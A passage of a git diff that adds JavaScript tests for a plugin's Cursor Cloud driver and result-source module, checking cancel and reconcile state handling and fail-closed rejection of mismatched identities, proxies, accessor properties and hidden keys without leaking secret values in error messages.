request.agent_id, + request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, + status: 'lost', + head_sha: fixture.base_sha, + merge_base_sha: fixture.base_sha, + ...(request.provider_run_id ? { provider_run_id: request.provider_run_id } : {}), + })], + }); + const driver = bindCursorCloudDriverV1(transport); + driver.preflight(requestFor('preflight')); + assert.equal(driver.launch(requestFor('launch')).disposition, 'dispatch_uncertain'); + const observed = driver.reconcile(requestFor('reconcile')); + assert.equal(observed.disposition, 'dispatch_uncertain'); + expectCode(() => driver.launch(requestFor('launch')), 'replay_denied'); +}); + +test('cancel targets only the exact recorded run and reports archive truthfully', () => { + const transport = createScriptedCursorCloudTransportV1(); + const driver = dispatched(bindCursorCloudDriverV1(transport)); + const send = cursorCloudCallsOf(transport, 'send')[0]; + const cancelled = driver.cancel(requestFor('cancel')); + assert.equal(cancelled.disposition, 'cancel_confirmed'); + assert.equal(cancelled.detail_code, 'archive_confirmed'); + assert.match(cancelled.detail_message, /archived=true/u); + const cancel = cursorCloudCallsOf(transport, 'cancel')[0]; + assert.equal(cancel.agent_id, send.agent_id); + assert.equal(cancel.provider_run_id, CLOUD_FIXTURE_PROVIDER_RUN_ID); + assert.equal(cancel.request_id, send.request_id); +}); + +test('cancel reports a failed archive without claiming the agent was archived', () => { + const transport = createScriptedCursorCloudTransportV1({ + cancel: [(request) => ({ + outcome: 'cancel_confirmed', + archived: false, + agent_id: request.agent_id, + provider_run_id: request.provider_run_id, + request_id: request.request_id, + branch: request.branch ?? CLOUD_FIXTURE_BRANCH, + ...identityFields(), + })], + }); + const driver = dispatched(bindCursorCloudDriverV1(transport)); + const cancelled = driver.cancel(requestFor('cancel')); + assert.equal(cancelled.disposition, 'cancel_confirmed'); + assert.equal(cancelled.detail_code, 'archive_failed'); + assert.match(cancelled.detail_message, /archived=false/u); +}); + +test('cancel_requested stays nonterminal so a later cancel may still reach transport', () => { + const transport = createScriptedCursorCloudTransportV1({ + cancel: [ + (request) => ({ + outcome: 'cancel_requested', + archived: false, + agent_id: request.agent_id, + provider_run_id: request.provider_run_id, + request_id: request.request_id, + branch: request.branch ?? CLOUD_FIXTURE_BRANCH, + ...identityFields(), + }), + (request) => ({ + outcome: 'cancel_confirmed', + archived: true, + agent_id: request.agent_id, + provider_run_id: request.provider_run_id, + request_id: request.request_id, + branch: request.branch ?? CLOUD_FIXTURE_BRANCH, + ...identityFields(), + }), + ], + }); + const driver = dispatched(bindCursorCloudDriverV1(transport)); + const first = driver.cancel(requestFor('cancel')); + assert.equal(first.disposition, 'cancel_requested'); + const second = driver.cancel(requestFor('cancel')); + assert.equal(second.disposition, 'cancel_confirmed'); + assert.equal(transportCounts(transport).cancel, 2); +}); + +test('terminal reconcile latches later cancel as already_terminal without transport', () => { + const transport = createScriptedCursorCloudTransportV1({ + observe: [(request) => ({ + ...identityFields(), + agent_id: request.agent_id, + provider_run_id: request.provider_run_id ?? CLOUD_FIXTURE_PROVIDER_RUN_ID, + request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, + status: 'completed', + head_sha: fixture.base_sha, + merge_base_sha: fixture.base_sha, + linear_history: true, + })], + }); + const driver = dispatched(bindCursorCloudDriverV1(transport)); + assert.equal(driver.reconcile(requestFor('reconcile')).disposition, 'terminal'); + const cancelled = driver.cancel(requestFor('cancel')); + assert.equal(cancelled.disposition, 'already_terminal'); + assert.equal(cancelled.detail_code, 'already_terminal'); + assert.equal(transportCounts(transport).cancel, 0); + assert.equal(driver.reconcile(requestFor('reconcile')).disposition, 'terminal'); + assert.equal(transportCounts(transport).observe, 1); +}); + +test('confirmed cancellation latches later cancel as already_terminal without transport', () => { + const transport = createScriptedCursorCloudTransportV1(); + const driver = dispatched(bindCursorCloudDriverV1(transport)); + assert.equal(driver.cancel(requestFor('cancel')).disposition, 'cancel_confirmed'); + assert.equal(transportCounts(transport).cancel, 1); + const again = driver.cancel(requestFor('cancel')); + assert.equal(again.disposition, 'already_terminal'); + assert.equal(transportCounts(transport).cancel, 1); + assert.equal(driver.reconcile(requestFor('reconcile')).disposition, 'terminal'); + assert.equal(transportCounts(transport).observe, 0); +}); + +test('cancel refuses a different Cloud agent or run identity', () => { + const transport = createScriptedCursorCloudTransportV1({ + cancel: [(request) => ({ + outcome: 'cancel_confirmed', + archived: true, + agent_id: 'bc-other-agent', + provider_run_id: request.provider_run_id, + request_id: request.request_id, + branch: request.branch ?? CLOUD_FIXTURE_BRANCH, + ...identityFields(), + })], + }); + const driver = dispatched(bindCursorCloudDriverV1(transport)); + expectCode(() => driver.cancel(requestFor('cancel')), 'stale_identity_denied'); +}); + +test('inspect evidence after cancel exposes recorded identities without prompt text', () => { + const transport = createScriptedCursorCloudTransportV1(); + const driver = dispatched(bindCursorCloudDriverV1(transport)); + driver.cancel(requestFor('cancel')); + const evidence = inspectCursorCloudLaneEvidenceV1(driver, { + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + child_envelope_digest: fixture.child_envelope_digest, + }); + assert.equal(evidence.agent_id, cursorCloudCallsOf(transport, 'send')[0].agent_id); + assert.equal(evidence.provider_run_id, CLOUD_FIXTURE_PROVIDER_RUN_ID); + assert.equal(evidence.request_id, cursorCloudCallsOf(transport, 'send')[0].request_id); + assert.doesNotMatch(JSON.stringify(evidence), new RegExp(LEAK_MARKER, 'u')); + assert.doesNotMatch(JSON.stringify(evidence), /envelope_text|prompt/u); +}); diff --git a/plugins/codex-co-engineer/test/r1-cursor-cloud-result-source-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-cursor-cloud-result-source-adversarial.test.mjs new file mode 100644 index 0000000..2a2e26e --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-cursor-cloud-result-source-adversarial.test.mjs @@ -0,0 +1,739 @@ +import assert from 'node:assert/strict'; +import test from 'node:test'; + +import { openArtifactStoreV1 } from '../mcp/v3/artifact-store.mjs'; +import { + CURSOR_CLOUD_RESULT_SOURCE_FAILURE_KEYS, + CURSOR_CLOUD_RESULT_SOURCE_FAILURE_MESSAGE, + CURSOR_CLOUD_RESULT_SOURCE_IDENTITY_MISMATCH_CODES, + CURSOR_CLOUD_RESULT_SOURCE_SCHEMA_ID, + assertCursorCloudResultCorrelationV1, + contentFreeCloudResultSourceFailureV1, + cursorCloudResultSourceIdentityFromTaskV1, + isCursorCloudResultIdentityMismatchV1, + materializeCursorCloudResultSourceV1, + projectCursorCloudGitEvidenceV1, + projectCursorCloudProviderReportV1, + projectCursorCloudResultSourcesV1, +} from '../mcp/v3/cursor-cloud-result-source.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { countingProxy, trapTotal } from './fixtures/r1-artifact-fixtures.mjs'; +import { + AGENT_ID, + ASSIGNMENT_ID, + BRANCH, + HEAD_SHA, + HOSTILE_BRANCH, + HOSTILE_PR_URL, + HOSTILE_REPO_URL, + HOSTILE_SHA, + MODEL, + PR_URL, + PROVIDER_RUN_ID, + REPO_URL, + REQUEST_ID, + RUN_ID, + SECRET, + STARTING_SHA, + gitEvidenceFor, + identityFor, + makeStoreRoot, + providerOutput, + removeRoot, +} from './fixtures/r1-cursor-cloud-result-source-fixtures.mjs'; + +async function expectCode(action, code, expectedPath) { + try { + await action(); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + if (code !== undefined) { + assert.equal(error.code, code, `expected ${code}, got ${error.code}: ${error.message}`); + } + if (expectedPath !== undefined) assert.equal(error.path, expectedPath); + assert.equal(isCursorCloudResultIdentityMismatchV1(error), CURSOR_CLOUD_RESULT_SOURCE_IDENTITY_MISMATCH_CODES.includes(code)); + assert.equal(error.message.includes(HOSTILE_SHA), false); + assert.equal(error.message.includes(HOSTILE_BRANCH), false); + assert.equal(error.message.includes(SECRET), false); + return error; + } + assert.fail(`expected a typed ${code ?? 'RunContractV1Error'} failure`); +} + +async function withStore(fn) { + const root = makeStoreRoot(); + try { + const store = await openArtifactStoreV1({ root }); + return await fn(store, root); + } finally { + removeRoot(root); + } +} + +test('run, request, and branch identity mismatches fail closed without replay', async () => { + await withStore(async (store) => { + await expectCode( + () => materializeCursorCloudResultSourceV1(store, { + ...identityFor(), + observed: { run_id: 'run-other-cloud' }, + provider_report: { status: 'finished', output: 'done' }, + }), + 'run_identity_mismatch', + 'observed.run_id', + ); + await expectCode( + () => materializeCursorCloudResultSourceV1(store, { + ...identityFor(), + observed: { assignment_id: 'other-lane' }, + provider_report: { status: 'finished', output: 'done' }, + }), + 'assignment_identity_mismatch', + 'observed.assignment_id', + ); + await expectCode( + () => materializeCursorCloudResultSourceV1(store, { + ...identityFor(), + observed: { request_id: 'cloud-lane:run:9' }, + provider_report: { status: 'finished', output: 'done' }, + }), + 'request_identity_mismatch', + 'observed.request_id', + ); + await expectCode( + () => materializeCursorCloudResultSourceV1(store, { + ...identityFor(), + observed: { provider_run_id: 'run-other' }, + provider_report: { status: 'finished', output: 'done' }, + }), + 'provider_run_identity_mismatch', + 'observed.provider_run_id', + ); + await expectCode( + () => materializeCursorCloudResultSourceV1(store, { + ...identityFor(), + git_evidence: gitEvidenceFor({ branch: HOSTILE_BRANCH }), + }), + 'branch_identity_mismatch', + 'git_evidence.branch', + ); + }); +}); + +test('repository, head, and base mismatches fail closed', async () => { + await withStore(async (store) => { + await expectCode( + () => materializeCursorCloudResultSourceV1(store, { + ...identityFor(), + git_evidence: gitEvidenceFor({ repository_url: HOSTILE_REPO_URL }), + }), + 'repository_identity_mismatch', + 'git_evidence.repository_url', + ); + await expectCode( + () => materializeCursorCloudResultSourceV1(store, { + ...identityFor({ head_sha: HEAD_SHA }), + git_evidence: gitEvidenceFor({ head_sha: HOSTILE_SHA }), + }), + 'head_identity_mismatch', + 'git_evidence.head_sha', + ); + await expectCode( + () => materializeCursorCloudResultSourceV1(store, { + ...identityFor(), + git_evidence: gitEvidenceFor({ starting_sha: HOSTILE_SHA, merge_base_sha: HOSTILE_SHA }), + }), + 'base_identity_mismatch', + 'git_evidence.starting_sha', + ); + await expectCode( + () => materializeCursorCloudResultSourceV1(store, { + ...identityFor(), + git_evidence: gitEvidenceFor({ merge_base_sha: HOSTILE_SHA, head_sha: HEAD_SHA }), + }), + 'base_identity_mismatch', + 'git_evidence.merge_base_sha', + ); + }); +}); + +test('correlation rejects request and branch drift without echoing identities', async () => { + const request = await expectCode( + () => assertCursorCloudResultCorrelationV1({ + recorded: { request_id: REQUEST_ID, branch: BRANCH, provider_run_id: PROVIDER_RUN_ID }, + observed: { request_id: 'other-request:run:1' }, + git_evidence: gitEvidenceFor(), + }), + 'request_identity_mismatch', + ); + assert.equal(String(request.message).includes(REQUEST_ID), false); + const branch = await expectCode( + () => assertCursorCloudResultCorrelationV1({ + recorded: { branch: BRANCH, repository_url: REPO_URL }, + git_evidence: gitEvidenceFor({ branch: HOSTILE_BRANCH }), + }), + 'branch_identity_mismatch', + ); + assert.equal(String(branch.message).includes(HOSTILE_BRANCH), false); + assert.equal(String(branch.message).includes(PR_URL), false); +}); + +test('hostile proxies unknown keys and local providers fail closed', async () => { + await withStore(async (store, root) => { + const { proxy, counts } = countingProxy({ + ...identityFor(), + provider_report: { status: 'finished', output: providerOutput() }, + }); + const proxied = await expectCode(() => materializeCursorCloudResultSourceV1(store, proxy), 'proxy_denied'); + assert.ok(trapTotal(counts) <= 2); + assert.equal(proxied.message.includes(root), false); + + await expectCode( + () => materializeCursorCloudResultSourceV1(store, { + ...identityFor(), + replay: true, + provider_report: { status: 'finished', output: 'done' }, + }), + 'unknown_key', + 'options.replay', + ); + await expectCode( + () => materializeCursorCloudResultSourceV1(store, { + ...identityFor({ provider: 'grok' }), + provider_report: { status: 'finished', output: 'done' }, + }), + 'cursor_cloud_provider_required', + 'options.provider', + ); + const failure = contentFreeCloudResultSourceFailureV1(proxied); + assert.deepEqual(Object.keys(failure), [...CURSOR_CLOUD_RESULT_SOURCE_FAILURE_KEYS]); + assert.equal(failure.schema, CURSOR_CLOUD_RESULT_SOURCE_SCHEMA_ID); + assert.equal(failure.published, false); + assert.equal(failure.error.message, CURSOR_CLOUD_RESULT_SOURCE_FAILURE_MESSAGE); + assert.equal(JSON.stringify(failure).includes(SECRET), false); + }); +}); + +test('SDK projector refuses to treat provider output Git claims as observed identity', () => { + const projected = projectCursorCloudResultSourcesV1({ + id: PROVIDER_RUN_ID, + requestId: REQUEST_ID, + agentId: AGENT_ID, + status: 'finished', + result: { + run_id: 'run-forged', + assignment_id: ASSIGNMENT_ID, + request_id: 'forged-request', + branch: HOSTILE_BRANCH, + head_sha: HOSTILE_SHA, + pr_url: HOSTILE_PR_URL, + }, + git: { + branches: [{ repoUrl: REPO_URL, branch: BRANCH, prUrl: PR_URL }], + head_sha: HEAD_SHA, + starting_sha: STARTING_SHA, + merge_base_sha: STARTING_SHA, + }, + }); + assert.equal(projected.observed.request_id, REQUEST_ID); + assert.equal(projected.observed.provider_run_id, PROVIDER_RUN_ID); + assert.equal(projected.git_evidence.branch, BRANCH); + assert.equal(projected.git_evidence.head_sha, HEAD_SHA); + assert.equal(projected.provider_report.output.branch, HOSTILE_BRANCH); + assert.equal(projected.provider_report.output.head_sha, HOSTILE_SHA); +}); + +test('empty Git evidence {} stays unpublished and does not invent a JSON artifact', async () => { + await withStore(async (store) => { + const receipt = await materializeCursorCloudResultSourceV1(store, { + ...identityFor(), + git_evidence: {}, + }); + assert.equal(receipt.git_evidence.published, false); + assert.equal(receipt.git_evidence.empty, true); + assert.equal(receipt.git_evidence.source_byte_length, 0); + assert.equal(receipt.git_evidence.raw_ref, null); + assert.equal(receipt.git_evidence.sanitized_ref, null); + assert.equal(receipt.published, false); + }); +}); + +test('SDK projectors reject accessors, proxies, and extra keys without invoking traps', async () => { + const trap = { ran: 0 }; + const accessorResult = { status: 'finished' }; + Object.defineProperty(accessorResult, 'result', { + enumerable: true, + get() { + trap.ran += 1; + throw new Error(`must not read ${SECRET}`); + }, + }); + const accessor = await expectCode( + () => projectCursorCloudResultSourcesV1(accessorResult), + 'accessor_property_denied', + 'provider_report.result', + ); + assert.equal(trap.ran, 0); + assert.equal(String(accessor.message).includes(SECRET), false); + + const live = countingProxy({ + id: PROVIDER_RUN_ID, + status: 'finished', + result: 'done', + }); + const proxied = await expectCode( + () => projectCursorCloudResultSourcesV1(live.proxy), + 'proxy_denied', + 'result', + ); + assert.ok(trapTotal(live.counts) <= 2); + assert.equal(String(proxied.message).includes(SECRET), false); + + const { proxy, revoke } = Proxy.revocable({ status: 'finished', result: 'done' }, { + get() { throw new Error('revoked getter ran'); }, + }); + revoke(); + try { + projectCursorCloudResultSourcesV1(proxy); + assert.fail('expected a typed proxy_denied failure'); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + assert.equal(error.code, 'proxy_denied'); + assert.equal(error instanceof TypeError, false); + } + + await expectCode( + () => projectCursorCloudResultSourcesV1({ + status: 'finished', + result: 'done', + extra: true, + }), + 'unknown_key', + 'result.extra', + ); + + const symbolic = { status: 'finished', result: 'done' }; + symbolic[Symbol('hidden')] = SECRET; + await expectCode( + () => projectCursorCloudResultSourcesV1(symbolic), + 'unknown_key', + 'result[symbol]', + ); + + const hidden = { status: 'finished', result: 'done' }; + Object.defineProperty(hidden, 'hidden', { value: SECRET, enumerable: false }); + await expectCode( + () => projectCursorCloudProviderReportV1(hidden), + 'unknown_key', + 'provider_report.hidden', + ); + const gitHidden = { branch: BRANCH }; + Object.defineProperty(gitHidden, 'hidden', { value: SECRET, enumerable: false }); + await expectCode( + () => projectCursorCloudGitEvidenceV1(gitHidden), + 'unknown_key', + 'git_evidence.hidden', + ); +}); + +test('SDK projectors copy caller-owned output and never freeze the input', () => { + const output = { text: 'hello', nested: { n: 1 } }; + const error = { message: 'bounded' }; + const input = { status: 'finished', result: output, error }; + const projected = projectCursorCloudProviderReportV1(input); + assert.notEqual(projected.output, output); + assert.notEqual(projected.error, error); + assert.notEqual(projected, input); + assert.equal(Object.isFrozen(input), false); + assert.equal(Object.isFrozen(output), false); + assert.equal(Object.isFrozen(error), false); + assert.equal(Object.isFrozen(projected), true); + assert.equal(Object.isFrozen(projected.output), true); + output.text = 'mutated'; + output.nested.n = 2; + error.message = 'mutated'; + assert.equal(projected.output.text, 'hello'); + assert.equal(projected.output.nested.n, 1); + assert.equal(projected.error.message, 'bounded'); +}); + +test('nested revoked provider output and error fail as typed proxy_denied', () => { + const revokedOutput = Proxy.revocable({ text: 'x' }, { + get() { throw new Error('revoked output getter ran'); }, + }); + revokedOutput.revoke(); + try { + projectCursorCloudProviderReportV1({ status: 'finished', result: revokedOutput.proxy }); + assert.fail('expected a typed proxy_denied failure'); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + assert.equal(error.code, 'proxy_denied'); + assert.notEqual(error.constructor, TypeError); + } + + const revokedError = Proxy.revocable({ message: 'x' }, { + get() { throw new Error('revoked error getter ran'); }, + }); + revokedError.revoke(); + try { + projectCursorCloudProviderReportV1({ status: 'failed', error: revokedError.proxy }); + assert.fail('expected a typed proxy_denied failure'); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + assert.equal(error.code, 'proxy_denied'); + } +}); + +test('exported correlation and task identity helpers are descriptor-safe', async () => { + const trap = { ran: 0 }; + const recorded = { request_id: REQUEST_ID, branch: BRANCH }; + Object.defineProperty(recorded, 'run_id', { + enumerable: true, + get() { + trap.ran += 1; + throw new Error(`must not read ${SECRET}`); + }, + }); + const correlation = await expectCode( + () => assertCursorCloudResultCorrelationV1({ + recorded, + observed: { request_id: REQUEST_ID }, + }), + 'accessor_property_denied', + 'recorded.run_id', + ); + assert.equal(trap.ran, 0); + assert.equal(String(correlation.message).includes(SECRET), false); + + const { proxy, revoke } = Proxy.revocable({ + run_id: RUN_ID, + assignment_id: ASSIGNMENT_ID, + provider: 'cursor-cloud', + model: MODEL, + }, { get() { throw new Error('revoked task getter ran'); } }); + revoke(); + try { + cursorCloudResultSourceIdentityFromTaskV1(proxy); + assert.fail('expected a typed proxy_denied failure'); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + assert.equal(error.code, 'proxy_denied'); + } + + const taskTrap = { ran: 0 }; + const task = { + id: 'cloud-task', + role: 'review', + run_id: RUN_ID, + assignment_id: ASSIGNMENT_ID, + provider: 'cursor-cloud', + }; + Object.defineProperty(task, 'model', { + enumerable: true, + get() { + taskTrap.ran += 1; + return MODEL; + }, + }); + const identity = await expectCode( + () => cursorCloudResultSourceIdentityFromTaskV1(task), + 'accessor_property_denied', + 'task.model', + ); + assert.equal(taskTrap.ran, 0); + assert.equal(String(identity.message).includes(MODEL), false); + + const bound = cursorCloudResultSourceIdentityFromTaskV1({ + id: 'cloud-task', + role: 'review', + run_id: RUN_ID, + assignment_id: ASSIGNMENT_ID, + provider: 'cursor-cloud', + model: MODEL, + provider_branch: BRANCH, + }); + assert.equal(bound.run_id, RUN_ID); + assert.equal(bound.model, MODEL); + assert.equal(bound.branch, BRANCH); + assert.equal(Object.isFrozen(bound), true); +}); + +test('conflicting truncated aliases fail closed and matching aliases normalize', async () => { + await expectCode( + () => projectCursorCloudProviderReportV1({ + status: 'finished', + result: 'done', + truncated: true, + source_truncated: false, + }), + 'invalid_format', + 'provider_report.source_truncated', + ); + await expectCode( + () => projectCursorCloudResultSourcesV1({ + status: 'finished', + result: 'done', + truncated: false, + source_truncated: true, + }), + 'invalid_format', + 'provider_report.source_truncated', + ); + + const matchedTrue = projectCursorCloudProviderReportV1({ + status: 'finished', + result: 'done', + truncated: true, + source_truncated: true, + }); + assert.equal(matchedTrue.source_truncated, true); + const matchedFalse = projectCursorCloudResultSourcesV1({ + status: 'finished', + result: 'done', + truncated: false, + source_truncated: false, + }); + assert.equal(matchedFalse.provider_report.source_truncated, false); + const truncatedOnly = projectCursorCloudProviderReportV1({ + status: 'finished', + truncated: true, + }); + assert.equal(truncatedOnly.source_truncated, true); +}); + +function sdkBranch(overrides = {}) { + return { repoUrl: REPO_URL, branch: BRANCH, prUrl: PR_URL, ...overrides }; +} + +test('SDK git.branches rejects proxies, accessors, extras, and exotic arrays without traps', async () => { + const live = countingProxy([sdkBranch()]); + const liveError = await expectCode( + () => projectCursorCloudGitEvidenceV1({ branches: live.proxy }), + 'proxy_denied', + 'git_evidence.branches', + ); + assert.equal(trapTotal(live.counts), 0); + assert.equal(liveError instanceof TypeError, false); + + const revoked = Proxy.revocable([sdkBranch()], { + get() { throw new Error(`revoked getter ran ${SECRET}`); }, + }); + revoked.revoke(); + try { + projectCursorCloudGitEvidenceV1({ branches: revoked.proxy }); + assert.fail('expected a typed proxy_denied failure'); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + assert.equal(error.code, 'proxy_denied'); + assert.equal(error.path, 'git_evidence.branches'); + assert.equal(error instanceof TypeError, false); + assert.equal(String(error.message).includes(SECRET), false); + assert.equal(String(error.message).includes('revoked getter ran'), false); + } + + const indexTrap = { ran: 0 }; + const indexAccessor = []; + Object.defineProperty(indexAccessor, '0', { + enumerable: true, + configurable: true, + get() { + indexTrap.ran += 1; + throw new Error(`must not read ${SECRET}`); + }, + }); + const accessorError = await expectCode( + () => projectCursorCloudGitEvidenceV1({ branches: indexAccessor }), + 'accessor_property_denied', + 'git_evidence.branches[0]', + ); + assert.equal(indexTrap.ran, 0); + assert.equal(String(accessorError.message).includes(SECRET), false); + + const ordinaryExtra = [sdkBranch()]; + ordinaryExtra.extra = SECRET; + const extraError = await expectCode( + () => projectCursorCloudGitEvidenceV1({ branches: ordinaryExtra }), + 'unknown_key', + 'git_evidence.branches', + ); + assert.equal(String(extraError.message).includes(SECRET), false); + assert.equal(String(extraError.path).includes(SECRET), false); + + const symbolic = [sdkBranch()]; + const hiddenSymbol = Symbol(SECRET); + symbolic[hiddenSymbol] = SECRET; + const symbolError = await expectCode( + () => projectCursorCloudGitEvidenceV1({ branches: symbolic }), + 'unknown_key', + 'git_evidence.branches[symbol]', + ); + assert.equal(String(symbolError.message).includes(SECRET), false); + assert.equal(String(symbolError.path).includes(SECRET), false); + + const hiddenExtra = [sdkBranch()]; + Object.defineProperty(hiddenExtra, 'hidden', { value: SECRET, enumerable: false }); + const hiddenError = await expectCode( + () => projectCursorCloudGitEvidenceV1({ branches: hiddenExtra }), + 'non_enumerable_property_denied', + 'git_evidence.branches', + ); + assert.equal(String(hiddenError.message).includes(SECRET), false); + + const sparse = []; + sparse[1] = sdkBranch(); + await expectCode( + () => projectCursorCloudGitEvidenceV1({ branches: sparse }), + 'malformed_result', + 'git_evidence.branches', + ); + + class HostileArray extends Array {} + await expectCode( + () => projectCursorCloudGitEvidenceV1({ branches: HostileArray.from([sdkBranch()]) }), + 'malformed_result', + 'git_evidence.branches', + ); + const exotic = [sdkBranch()]; + Object.setPrototypeOf(exotic, Object.prototype); + await expectCode( + () => projectCursorCloudGitEvidenceV1({ branches: exotic }), + 'malformed_result', + 'git_evidence.branches', + ); +}); + +test('valid dense Git branch arrays keep empty, one-entry, and first-branch projection', () => { + assert.equal(projectCursorCloudGitEvidenceV1({ branches: [] }), null); + + const one = projectCursorCloudGitEvidenceV1({ branches: [sdkBranch()] }); + assert.equal(one.branch, BRANCH); + assert.equal(one.repository_url, REPO_URL); + assert.equal(one.pr_url, PR_URL); + + const multi = projectCursorCloudGitEvidenceV1({ + branches: [ + sdkBranch(), + sdkBranch({ repoUrl: HOSTILE_REPO_URL, branch: HOSTILE_BRANCH, prUrl: HOSTILE_PR_URL }), + ], + }); + assert.equal(multi.branch, BRANCH); + assert.equal(multi.repository_url, REPO_URL); + assert.equal(multi.pr_url, PR_URL); + assert.equal(JSON.stringify(multi).includes(HOSTILE_BRANCH), false); + assert.equal(JSON.stringify(multi).includes(HOSTILE_REPO_URL), false); + + const nullPrototype = [sdkBranch()]; + Object.setPrototypeOf(nullPrototype, null); + const fromNull = projectCursorCloudGitEvidenceV1({ branches: nullPrototype }); + assert.equal(fromNull.branch, BRANCH); + assert.equal(fromNull.repository_url, REPO_URL); +}); + +test('correlation enforces recorded identity keys and closes mismatch-bypass aliases', async () => { + const ordinary = await expectCode( + () => assertCursorCloudResultCorrelationV1({ + recorded: { request_id: REQUEST_ID, extra: true }, + observed: { request_id: REQUEST_ID }, + }), + 'unknown_key', + 'recorded.extra', + ); + assert.equal(String(ordinary.message).includes(SECRET), false); + + const symbolic = { request_id: REQUEST_ID, branch: BRANCH }; + symbolic[Symbol(SECRET)] = SECRET; + const symbolError = await expectCode( + () => assertCursorCloudResultCorrelationV1({ + recorded: symbolic, + observed: { request_id: REQUEST_ID }, + }), + 'unknown_key', + 'recorded[symbol]', + ); + assert.equal(String(symbolError.message).includes(SECRET), false); + assert.equal(String(symbolError.path).includes(SECRET), false); + + const hidden = { request_id: REQUEST_ID }; + Object.defineProperty(hidden, 'hidden', { value: SECRET, enumerable: false }); + const hiddenError = await expectCode( + () => assertCursorCloudResultCorrelationV1({ + recorded: hidden, + observed: { request_id: REQUEST_ID }, + }), + 'unknown_key', + 'recorded.hidden', + ); + assert.equal(String(hiddenError.message).includes(SECRET), false); + + const trap = { ran: 0 }; + const accessor = { request_id: REQUEST_ID }; + Object.defineProperty(accessor, 'extra', { + enumerable: true, + get() { + trap.ran += 1; + throw new Error(`must not read ${SECRET}`); + }, + }); + const accessorError = await expectCode( + () => assertCursorCloudResultCorrelationV1({ + recorded: accessor, + observed: { request_id: REQUEST_ID }, + }), + 'unknown_key', + 'recorded.extra', + ); + assert.equal(trap.ran, 0); + assert.equal(String(accessorError.message).includes(SECRET), false); + + const requestBypass = await expectCode( + () => assertCursorCloudResultCorrelationV1({ + recorded: { requestId: REQUEST_ID, branch: BRANCH, provider_run_id: PROVIDER_RUN_ID }, + observed: { request_id: 'other-request:run:1' }, + git_evidence: gitEvidenceFor(), + }), + 'unknown_key', + 'recorded.requestId', + ); + assert.equal(String(requestBypass.message).includes(REQUEST_ID), false); + assert.equal(String(requestBypass.message).includes('other-request:run:1'), false); + + const matchingRequestAlias = await expectCode( + () => assertCursorCloudResultCorrelationV1({ + recorded: { requestId: REQUEST_ID }, + observed: { request_id: REQUEST_ID }, + }), + 'unknown_key', + 'recorded.requestId', + ); + assert.equal(String(matchingRequestAlias.message).includes(REQUEST_ID), false); + + const branchBypass = await expectCode( + () => assertCursorCloudResultCorrelationV1({ + recorded: { branch_name: BRANCH }, + git_evidence: gitEvidenceFor({ branch: HOSTILE_BRANCH }), + }), + 'unknown_key', + 'recorded.branch_name', + ); + assert.equal(String(branchBypass.message).includes(HOSTILE_BRANCH), false); + assert.equal(String(branchBypass.message).includes(BRANCH), false); + + const headBypass = await expectCode( + () => assertCursorCloudResultCorrelationV1({ + recorded: { headSha: HEAD_SHA }, + git_evidence: gitEvidenceFor({ head_sha: HOSTILE_SHA }), + }), + 'unknown_key', + 'recorded.headSha', + ); + assert.equal(String(headBypass.message).includes(HOSTILE_SHA), false); + assert.equal(String(headBypass.message).includes(HEAD_SHA), false); + + const bound = assertCursorCloudResultCorrelationV1({ + recorded: { request_id: REQUEST_ID, branch: BRANCH, provider_run_id: PROVIDER_RUN_ID }, + observed: { request_id: REQUEST_ID }, + git_evidence: gitEvidenceFor(), + }); + assert.equal(bound.recorded, true); + assert.equal(bound.observed.request_id, REQUEST_ID); + assert.equal(bound.git_evidence.branch, BRANCH); +}); diff --git a/plugins/codex-co-engineer/test/r1-cursor-cloud-result-source.test.mjs b/plugins/codex-co-engineer/test/r1-cursor-cloud-result-source.test.mjs new file mode 100644 index 0000000..f21fcb4 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-cursor-cloud-result-source.test.mjs @@ -0,0 +1,359 @@ +import assert from 'node:assert/strict'; +import { readFileSync } from 'node:fs'; +import test from 'node:test'; +import { fileURLToPath } from 'node:url'; + +import { isArtifactRelativePathV1 } from '../mcp/v3/artifact-path.mjs'; +import { MAX_RAW_ARTIFACT_BYTE_LENGTH } from '../mcp/v3/artifact-ref.mjs'; +import { readSanitizedArtifactV1 } from '../mcp/v3/artifact-reader.mjs'; +import { openArtifactStoreV1 } from '../mcp/v3/artifact-store.mjs'; +import { + CURSOR_CLOUD_GIT_EVIDENCE_ARTIFACT_KIND, + CURSOR_CLOUD_PROVIDER_REPORT_ARTIFACT_KIND, + CURSOR_CLOUD_RESULT_SOURCE_ERROR_CODES, + CURSOR_CLOUD_RESULT_SOURCE_FAILURE_KEYS, + CURSOR_CLOUD_RESULT_SOURCE_INLINE_TAIL_KEYS, + CURSOR_CLOUD_RESULT_SOURCE_OPTION_KEYS, + CURSOR_CLOUD_RESULT_SOURCE_RECEIPT_KEYS, + CURSOR_CLOUD_RESULT_SOURCE_SCHEMA_ID, + CURSOR_CLOUD_RESULT_SOURCE_SLOT_KEYS, + CURSOR_CLOUD_RESULT_SOURCE_VERSION, + cursorCloudGitEvidencePathV1, + cursorCloudProviderReportPathV1, + materializeCursorCloudResultSourceV1, + projectCursorCloudGitEvidenceV1, + projectCursorCloudResultSourcesV1, +} from '../mcp/v3/cursor-cloud-result-source.mjs'; +import { ARTIFACT_SANITIZER_VERSION } from '../mcp/v3/artifact-sanitizer.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + ASSIGNMENT_ID, + BRANCH, + HEAD_SHA, + HOSTILE_BRANCH, + HOSTILE_PR_URL, + HOSTILE_SHA, + MODEL, + PR_URL, + PROVIDER_RUN_ID, + REPO_URL, + REQUEST_ID, + RUN_ID, + INLINE_TAIL_MAX, + SECRET, + exact4096, + gitEvidenceFor, + identityFor, + makeStoreRoot, + oversizeProviderOutput, + providerOutput, 